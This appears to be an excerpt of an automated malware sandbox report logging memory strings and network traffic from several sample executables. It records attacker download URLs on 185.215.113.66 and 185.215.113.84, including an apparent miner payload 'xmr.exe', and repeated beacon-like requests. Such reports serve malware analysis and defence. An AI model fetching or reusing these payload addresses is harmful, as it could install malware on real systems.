                              Source: 311029678.exe, 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmp, 311029678.exe, 00000005.00000002.634087947.0000000002AD9000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cock/
                              Source: 311029678.exe, 00000005.00000002.633282992.00000000009AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cock/529.txt
                              Source: 311029678.exe, 00000005.00000002.634087947.0000000002AD9000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cock/529.txtt
                              Source: 311029678.exe, 00000005.00000002.632819287.000000000031C000.00000004.00000010.00020000.00000000.sdmp, 311029678.exe, 00000005.00000002.634087947.0000000002AD9000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cock/8
                              Source: 311029678.exe, 00000005.00000002.634087947.0000000002AD9000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cock/http://185.215.113.66/cock/n.txt_
                              Source: 311029678.exe, 00000005.00000002.633282992.00000000009AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.66/cock/n.txt
                              Source: 120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, 120477188.exe, 00000003.00000000.333607012.0000000000B62000.00000002.00000001.01000000.00000006.sdmp, 120477188.exe, 00000003.00000002.352453871.000000000094E000.00000004.00000020.00020000.00000000.sdmp, 120477188.exe, 00000003.00000002.352570446.0000000000B62000.00000002.00000001.01000000.00000006.sdmp, 120477188.exe, 00000003.00000002.352453871.0000000000940000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.84/xmr.exe
                              Source: 120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.84/xmr.exe%
                              Source: 120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.84/xmr.exeAp
                              Source: 120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.84/xmr.exeI
                              Source: 120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.84/xmr.exeSystem32
                              Source: 120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.84/xmr.exeWp
                              Source: 120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.84/xmr.exev
                              Source: powershell.exe, 00000006.00000002.506873138.000001B97F680000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.442189627.00000128C52F7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000003.471424344.000001B5E122D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.616476364.000001B5E1245000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                              Source: 311029678.exe.1.drString found in binary or memory: http://icanhazip.com/
                              Source: 311029678.exe, 00000005.00000003.388172019.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.387363822.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.379585440.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.383374552.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000002.633282992.00000000009AA000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.384481489.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.388668569.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.382357134.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.392174717.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.385822096.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.385128683.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.391124291.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.386507247.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.396268628.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.388962236.0000000000A01000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://icanhazip.com/z
                              Source: powershell.exe, 00000006.00000002.488522553.000001B97739F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                              Source: powershell.exe, 00000006.00000002.422120254.000001B96754F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.366459906.000001B97F974000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                              Source: file.exeString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
                              Source: file.exeString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
                              Source: powershell.exe, 00000006.00000002.422120254.000001B967341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.444327583.00000128C54A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.532612242.000001B5C8EC1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                              Source: powershell.exe, 00000006.00000002.422120254.000001B96754F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.532612242.000001B5C9059000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
                              Source: powershell.exe, 00000006.00000002.422120254.000001B96754F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.366459906.000001B97F974000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                              Source: powershell.exe, 00000010.00000002.625282383.000001B5E1450000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.co
                              Source: powershell.exe, 00000006.00000002.488522553.000001B97739F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                              Source: powershell.exe, 00000006.00000002.488522553.000001B97739F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                              Source: powershell.exe, 00000006.00000002.488522553.000001B97739F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                              Source: powershell.exe, 00000006.00000002.422120254.000001B96754F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.366459906.000001B97F974000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                              Source: powershell.exe, 00000006.00000003.371193886.000001B968FBC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.444327583.00000128C56A9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
                              Source: powershell.exe, 00000006.00000003.370425289.000001B97F99E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://go.micros
                              Source: powershell.exe, 00000006.00000002.488522553.000001B97739F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                              Source: unknownDNS traffic detected: queries for: mail.ru
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040CC50 memset,InternetCrackUrlA,InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpAddRequestHeadersA,HttpSendRequestA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,0_2_0040CC50
                              Source: global trafficHTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /xmr.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: 185.215.113.84
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: icanhazip.com
                              Source: global trafficHTTP traffic detected: GET /cock/n.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /cock/529.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: icanhazip.comCookie: __cf_bm=gxzP5XhlvlPLPRW.sAj_vcznct.fljPVg6TsbJ0lOpo-1679409483-0-ASuLIaVVOrzugHiXEd0FIaKruF9rpRjxQU4VLsoINgrq6xQ/+3lwdwqGCw4/IUXGEodyWU0GFymzlQc8QecFq2k=
                              Source: global trafficHTTP traffic detected: GET /cawkz/n.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /cawkz/1342.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66If-Modified-Since: Tue, 21 Mar 2023 07:29:04 GMTIf-None-Match: "64195cc0-13500"
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Host: 185.215.113.66
                              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Mar 2023 14:37:53 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Mar 2023 14:38:25 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Mar 2023 14:38:38 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Mar 2023 14:38:51 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Mar 2023 14:39:03 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 